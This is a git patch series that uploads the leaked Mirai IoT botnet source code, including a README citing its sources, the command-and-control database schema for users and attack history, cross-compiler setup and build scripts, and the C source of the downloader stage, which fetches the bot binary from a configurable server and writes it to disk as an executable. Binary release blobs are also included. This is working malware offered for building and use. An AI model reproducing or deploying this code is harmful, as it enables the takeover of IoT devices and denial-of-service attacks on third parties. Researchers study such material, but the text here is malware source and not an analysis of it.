zFrr}uTfP$aEX?vhb6-jhK*qO4iG==Gjbb%m-(+2pV%^eEEBm^=FiJbOi}C&=X>|a# zzz|VPQC4VSKeZgUXQOt+sCJKHjO8{mjm~UeoZGB9FBi+nKjH%pg(daJD$x9g>LFEa%GNm!2g;0mcVXiczaJ<2$If#9S(;k+6F(lZacBVoyq`jGXguArZ9i zSxFWP%g!ZzYjLSKGo>-q@MF>o1_dQeJNGDqN>DCC2Zh9&W}Ym8t1SZojtQBKS{5~P z1D$7)XAUNQH)X&hjmhd#EVAFM*`AX8pk%1LRUcVcWPw1yQ)g`M4*G{8LKH*Kqymx`z+o5)cd*5YBTPc zLCLWN+gFtv=H50aMmvx1U_)xUS;?adO!<&(51Y9Fbzk6VKTE-X(ZI2TkFnlZe9@ev z3*0P{1CF|)Qayq|4{aYACQvmJcBSfCIpldnGmD`)n*LD$6kDx+EVsJ*W@6WIwBX7N z`dO+WB`KML!pv~KRAvJ?sbTVK2kXz(uv-mEbFJ~z&xP#CCO^j3x#?oZ5|QYxqthX9 zc;-V(FcN+$9!B7 z+w=XeH-?ALB4rQ1M}G#`Ef1ys>w(~Zd1KDbhQ?O^cE=#aHZ*?xeYMn}{p^Iwjq@~(;RyXxLDDFg#?S~%U! z8*H+le2P9^^G@8(i47;0S-2(*cBD9F-e4R>8ja*0%6x-l8n$bA&>bA6J^(u5O)Ube zuP{sZLIo+d79broN2hohKJ><&5mUO;(_MWvFHhMs9PDHB=V+;4@D_7WJ6fhGvaDBZ z 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 literal 0 HcmV?d00001 From e2ef97f5a3dd229513c500d73ca2677c4f1237aa Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:00:23 +0800 Subject: [PATCH 02/26] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 6b54e3d..1c8ce36 100755 --- a/README.md +++ b/README.md @@ -1,3 +1,11 @@ # Mirai Botnet Client, Echo Loader and CNC source code This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). + + +I found +mirai.src.zip from https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/ +loader.src.zip from https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/ +dlr.src.zip from https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/ + +Maybe they are original files. From 6b5e96c9a3fb54e9781aaffc0e05d12c558b782c Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:00:44 +0800 Subject: [PATCH 03/26] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 1c8ce36..4f6b851 100755 --- a/README.md +++ b/README.md @@ -2,6 +2,7 @@ This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). +--- I found mirai.src.zip from https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/ @@ -9,3 +10,5 @@ loader.src.zip from https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d200 dlr.src.zip from https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/ Maybe they are original files. + +Felicitychou From b4cbba18563f93babe9926174f07154d13822108 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:02:08 +0800 Subject: [PATCH 04/26] Create dlr --- dlr | 1 + 1 file changed, 1 insertion(+) create mode 100644 dlr diff --git a/dlr b/dlr new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/dlr @@ -0,0 +1 @@ + From 35c82f6fa4ce43f1467e651fd9ddc14abd9a82ce Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:05:59 +0800 Subject: [PATCH 05/26] Delete dlr --- dlr | 1 - 1 file changed, 1 deletion(-) delete mode 100644 dlr diff --git a/dlr b/dlr deleted file mode 100644 index 8b13789..0000000 --- a/dlr +++ /dev/null @@ -1 +0,0 @@ - From d745a627692f051157d7b8a5284d2849cf117784 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:13:45 +0800 Subject: [PATCH 06/26] upload dlr src --- Configuring_CNC_Database.txt | 36 +++++ README.md | 3 + Setting_Up_Cross_Compilers.sh | 62 ++++++++ dlr/build.sh | 22 +++ dlr/main.c | 274 ++++++++++++++++++++++++++++++++++ dlr/release/.build | 10 ++ dlr/release/dlr.arm | Bin 0 -> 1168 bytes dlr/release/dlr.arm7 | Bin 0 -> 1664 bytes dlr/release/dlr.m68k | Bin 0 -> 1248 bytes dlr/release/dlr.mips | Bin 0 -> 2000 bytes dlr/release/dlr.mpsl | Bin 0 -> 2032 bytes dlr/release/dlr.ppc | Bin 0 -> 1412 bytes dlr/release/dlr.sh4 | Bin 0 -> 1200 bytes dlr/release/dlr.spc | Bin 0 -> 1288 bytes 14 files changed, 407 insertions(+) create mode 100644 Configuring_CNC_Database.txt create mode 100644 Setting_Up_Cross_Compilers.sh create mode 100644 dlr/build.sh create mode 100644 dlr/main.c create mode 100644 dlr/release/.build create mode 100644 dlr/release/dlr.arm create mode 100644 dlr/release/dlr.arm7 create mode 100644 dlr/release/dlr.m68k create mode 100644 dlr/release/dlr.mips create mode 100644 dlr/release/dlr.mpsl create mode 100644 dlr/release/dlr.ppc create mode 100644 dlr/release/dlr.sh4 create mode 100644 dlr/release/dlr.spc diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt new file mode 100644 index 0000000..3aedc33 --- /dev/null +++ b/Configuring_CNC_Database.txt @@ -0,0 +1,36 @@ +CREATE DATABASE mirai; + +CREATE TABLE `history` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `user_id` int(10) unsigned NOT NULL, + `time_sent` int(10) unsigned NOT NULL, + `duration` int(10) unsigned NOT NULL, + `command` text NOT NULL, + `max_bots` int(11) DEFAULT '-1', + PRIMARY KEY (`id`), + KEY `user_id` (`user_id`) +); + +CREATE TABLE `users` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `username` varchar(32) NOT NULL, + `password` varchar(32) NOT NULL, + `duration_limit` int(10) unsigned DEFAULT NULL, + `cooldown` int(10) unsigned NOT NULL, + `wrc` int(10) unsigned DEFAULT NULL, + `last_paid` int(10) unsigned NOT NULL, + `max_bots` int(11) DEFAULT '-1', + `admin` int(10) unsigned DEFAULT '0', + `intvl` int(10) unsigned DEFAULT '30', + `api_key` text, + PRIMARY KEY (`id`), + KEY `username` (`username`) +); + +CREATE TABLE `whitelist` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `prefix` varchar(16) DEFAULT NULL, + `netmask` tinyint(3) unsigned DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `prefix` (`prefix`) +); \ No newline at end of file diff --git a/README.md b/README.md index 4f6b851..8daac78 100755 --- a/README.md +++ b/README.md @@ -11,4 +11,7 @@ dlr.src.zip from https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365 Maybe they are original files. +Configuring_CNC_Database from http://pastebin.com/86d0iL9g +Setting_Up_Cross_Compilers.sh from http://pastebin.com/1rRCc3aD + Felicitychou diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh new file mode 100644 index 0000000..5ee2e6b --- /dev/null +++ b/Setting_Up_Cross_Compilers.sh @@ -0,0 +1,62 @@ +# RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc + +# You're gay if you don't use Debian +apt-get install gcc golang electric-fence + +mkdir /etc/xcompile +cd /etc/xcompile + +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 +wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 + +tar -jxf cross-compiler-armv4l.tar.bz2 +tar -jxf cross-compiler-i586.tar.bz2 +tar -jxf cross-compiler-m68k.tar.bz2 +tar -jxf cross-compiler-mips.tar.bz2 +tar -jxf cross-compiler-mipsel.tar.bz2 +tar -jxf cross-compiler-powerpc.tar.bz2 +tar -jxf cross-compiler-sh4.tar.bz2 +tar -jxf cross-compiler-sparc.tar.bz2 + +rm *.tar.bz2 +mv cross-compiler-armv4l armv4l +mv cross-compiler-i586 i586 +mv cross-compiler-m68k m68k +mv cross-compiler-mips mips +mv cross-compiler-mipsel mipsel +mv cross-compiler-powerpc powerpc +mv cross-compiler-sh4 sh4 +mv cross-compiler-sparc sparc + +-- END -- + + + + + + +# PUT THESE COMMANDS IN THE FILE ~/.bashrc + +# Cross compiler toolchains +export PATH=$PATH:/etc/xcompile/armv4l/bin +export PATH=$PATH:/etc/xcompile/armv6l/bin +export PATH=$PATH:/etc/xcompile/i586/bin +export PATH=$PATH:/etc/xcompile/m68k/bin +export PATH=$PATH:/etc/xcompile/mips/bin +export PATH=$PATH:/etc/xcompile/mipsel/bin +export PATH=$PATH:/etc/xcompile/powerpc/bin +export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin +export PATH=$PATH:/etc/xcompile/sh4/bin +export PATH=$PATH:/etc/xcompile/sparc/bin + +# Golang +export PATH=$PATH:/usr/local/go/bin +export GOPATH=$HOME/Documents/go + +-- END -- \ No newline at end of file diff --git a/dlr/build.sh b/dlr/build.sh new file mode 100644 index 0000000..9227844 --- /dev/null +++ b/dlr/build.sh @@ -0,0 +1,22 @@ +armv4l-gcc -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm +armv6l-gcc -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7 +i686-gcc -Os -D BOT_ARCH=\"x86\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86 +m68k-gcc -Os -D BOT_ARCH=\"m68k\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k +mips-gcc -Os -D BOT_ARCH=\"mips\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips +#mips64-gcc -Os -D BOT_ARCH=\"mps64\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64 +mipsel-gcc -Os -D BOT_ARCH=\"mpsl\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl +powerpc-gcc -Os -D BOT_ARCH=\"ppc\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc +sh4-gcc -Os -D BOT_ARCH=\"sh4\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4 +#sh2elf-gcc -Os -D BOT_ARCH=\"sh2el\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el +#sh2eb-gcc -Os -D BOT_ARCH=\"sh2eb\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb +sparc-gcc -Os -D BOT_ARCH=\"spc\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc + +armv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm +armv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7 +i686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86 +m68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k +mips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips +mipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl +powerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc +sh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4 +sparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc \ No newline at end of file diff --git a/dlr/main.c b/dlr/main.c new file mode 100644 index 0000000..569d837 --- /dev/null +++ b/dlr/main.c @@ -0,0 +1,274 @@ +#include +//#include +#include +#include +#include +#include + +#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP + +#define EXEC_MSG "MIRAI\n" +#define EXEC_MSG_LEN 6 + +#define DOWNLOAD_MSG "FIN\n" +#define DOWNLOAD_MSG_LEN 4 + +#define STDIN 0 +#define STDOUT 1 +#define STDERR 2 + +#if BYTE_ORDER == BIG_ENDIAN +#define HTONS(n) (n) +#define HTONL(n) (n) +#elif BYTE_ORDER == LITTLE_ENDIAN +#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) +#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ + ((((unsigned long)(n) & 0xff00)) << 8) | \ + ((((unsigned long)(n) & 0xff0000)) >> 8) | \ + ((((unsigned long)(n) & 0xff000000)) >> 24)) +#else +#error "Fix byteorder" +#endif + +#ifdef __ARM_EABI__ +#define SCN(n) ((n) & 0xfffff) +#else +#define SCN(n) (n) +#endif + +inline void run(void); +int sstrlen(char *); +unsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char); + +/* stdlib calls */ +int xsocket(int, int, int); +int xwrite(int, void *, int); +int xread(int, void *, int); +int xconnect(int, struct sockaddr_in *, int); +int xopen(char *, int, int); +int xclose(int); +void x__exit(int); + +#define socket xsocket +#define write xwrite +#define read xread +#define connect xconnect +#define open xopen +#define close xclose +#define __exit x__exit + +#ifdef DEBUG +/* +void xprintf(char *str) +{ + write(1, str, sstrlen(str)); +} +#define printf xprintf +*/ +#endif + +void __start(void) +{ +#if defined(MIPS) || defined(MIPSEL) + __asm( + ".set noreorder\n" + "move $0, $31\n" + "bal 10f\n" + "nop\n" + "10:\n.cpload $31\n" + "move $31, $0\n" + ".set reorder\n" + ); +#endif + run(); +} + +inline void run(void) +{ + char recvbuf[128]; + struct sockaddr_in addr; + int sfd, ffd, ret; + unsigned int header_parser = 0; + int arch_strlen = sstrlen(BOT_ARCH); + + write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); + + addr.sin_family = AF_INET; + addr.sin_port = HTONS(80); + addr.sin_addr.s_addr = HTTP_SERVER; + + ffd = open("dvrHelper", O_WRONLY | O_CREAT | O_TRUNC, 0777); + + sfd = socket(AF_INET, SOCK_STREAM, 0); + +#ifdef DEBUG + if (ffd == -1) + printf("Failed to open file!\n"); + if (sfd == -1) + printf("Failed to call socket()\n"); +#endif + + if (sfd == -1 || ffd == -1) + __exit(1); + +#ifdef DEBUG + printf("Connecting to host...\n"); +#endif + + if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0) + { +#ifdef DEBUG + printf("Failed to connect to host.\n"); +#endif + write(STDOUT, "NIF\n", 4); + __exit(-ret); + } + +#ifdef DEBUG + printf("Connected to host\n"); +#endif + + if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13)) + { +#ifdef DEBUG + printf("Failed to send get request.\n"); +#endif + + __exit(3); + } + +#ifdef DEBUG + printf("Started header parse...\n"); +#endif + + while (header_parser != 0x0d0a0d0a) + { + char ch; + int ret = read(sfd, &ch, 1); + + if (ret != 1) + __exit(4); + header_parser = (header_parser << 8) | ch; + } + +#ifdef DEBUG + printf("Finished receiving HTTP header\n"); +#endif + + while (1) + { + int ret = read(sfd, recvbuf, sizeof (recvbuf)); + + if (ret <= 0) + break; + write(ffd, recvbuf, ret); + } + + close(sfd); + close(ffd); + write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); + __exit(5); +} + +int sstrlen(char *str) +{ + int c = 0; + + while (*str++ != 0) + c++; + return c; +} + +unsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four) +{ + unsigned long ip = 0; + + ip |= (one << 24); + ip |= (two << 16); + ip |= (three << 8); + ip |= (four << 0); + return HTONL(ip); +} + +int xsocket(int domain, int type, int protocol) +{ +#if defined(__NR_socketcall) +#ifdef DEBUG + printf("socket using socketcall\n"); +#endif + struct { + int domain, type, protocol; + } socketcall; + socketcall.domain = domain; + socketcall.type = type; + socketcall.protocol = protocol; + + // 1 == SYS_SOCKET + int ret = syscall(SCN(SYS_socketcall), 1, &socketcall); + +#ifdef DEBUG + printf("socket got ret: %d\n", ret); +#endif + return ret; +#else +#ifdef DEBUG + printf("socket using socket\n"); +#endif + return syscall(SCN(SYS_socket), domain, type, protocol); +#endif +} + +int xread(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_read), fd, buf, len); +} + +int xwrite(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_write), fd, buf, len); +} + +int xconnect(int fd, struct sockaddr_in *addr, int len) +{ +#if defined(__NR_socketcall) +#ifdef DEBUG + printf("connect using socketcall\n"); +#endif + struct { + int fd; + struct sockaddr_in *addr; + int len; + } socketcall; + socketcall.fd = fd; + socketcall.addr = addr; + socketcall.len = len; + // 3 == SYS_CONNECT + int ret = syscall(SCN(SYS_socketcall), 3, &socketcall); + +#ifdef DEBUG + printf("connect got ret: %d\n", ret); +#endif + + return ret; +#else +#ifdef DEBUG + printf("connect using connect\n"); +#endif + return syscall(SCN(SYS_connect), fd, addr, len); +#endif +} + +int xopen(char *path, int flags, int other) +{ + return syscall(SCN(SYS_open), path, flags, other); +} + +int xclose(int fd) +{ + return syscall(SCN(SYS_close), fd); +} + +void x__exit(int code) +{ + syscall(SCN(SYS_exit), code); +} diff --git a/dlr/release/.build b/dlr/release/.build new file mode 100644 index 0000000..bf8bf40 --- /dev/null +++ b/dlr/release/.build @@ -0,0 +1,10 @@ + wtf why would you hit krebs + Hm, why do you care? Just move C2 or something? + no fuck, this is the shit you avoid. fuck off + im kicking you off + Are you fucking me? you better be joking + DO YOU HVE ANY IDEE + * IDEA + WHAT YOUVE DONE + look man i was just messing around its nbd + YOU F UCKING IDIOT \ No newline at end of file diff --git a/dlr/release/dlr.arm b/dlr/release/dlr.arm new file mode 100644 index 0000000000000000000000000000000000000000..782bf1d7665c14ff32a4a1cf9028d206bf9d993e GIT binary patch literal 1168 zcma)5O-NKx6h7}~RK}SYaWj?0D_XS3aSRtNT)cra2UH$0feROoX((t-GmnZAd^#?o z8jzeQ+RSZHL{QKoa3i>EBS^F<2)ys{VAMrI?OMFPGd~c5(1r8PIp6o)^UnQS92g!{ z6eUZIq0)I$5O)=c`rtonM5@ZMLCl3nukkgxgD>nYG;ARTk@NgIroeMX)COzezyTi@ zGKecKbuGytsk!PoA+;Fd3#zLa%QEO!-Jnf%wLT#YUC6T$N2>irNmP`_4uqr_j4J+f zqCJIHshO`KZ$YkX)-`R=s7WCshLBIdg}~`M-F{?y#BHTgRf`EP3XXLvMEjBLl1t7; z^~Mo39-xMP1ZRWO4%JuwsXuq9{z0mH*G^UZGJ3(T>?!7oOV(GP=$iK@2u_UkR{XJ! zir-=gPa)yy&h?#dL9nly!m~DkC50ElK7`Q!BKYFwmhYHb{*txjFT-9#+lBcnRPy6z zDt=t4`0K#9C(705=_KSA#wdq>-0h?ZA@MKmO%SxVfOBFcH)aU$BQ#`MF3$HI_p%+U z_&V@UjMJ3+68@C=(B(PnbxwW&rjsQ#5}i+j;AF@Yat-wq%wyeq@CsQTdhi~BUrYY* z^~*)MkgWI`W#ljHK@{tA8v0lKFT--9sKa%Y>EPUUJYZG6mwZS0-e>dkG?KoWN{6vack)BibGhj}4tq2`2!!a$ zK*s2qoV{7-nV-#PXA{sHLz#@#)0;@5g_>qCJzDdWD9jY>yq%q-ggt%FrbPbMRMyT? zVzN-+V*feXp~G@(Z_#$JX2ezOL38MhpaY(D7h$|t<5=u)gJZ`!=8wbpZG*18b$<7p UH%GG`YgyAAtUKLI;F;&~7w7$fo&W#< literal 0 HcmV?d00001 diff --git a/dlr/release/dlr.arm7 b/dlr/release/dlr.arm7 new file mode 100644 index 0000000000000000000000000000000000000000..493904bc0331f4d59fb9c08e97b4f87fa06abf92 GIT binary patch literal 1664 zcma)6U1%It6h3!%vRStqXG;2DTU*DUhdea9Qwi9IKForR4K!tJ7D4nO8?x91qswO0 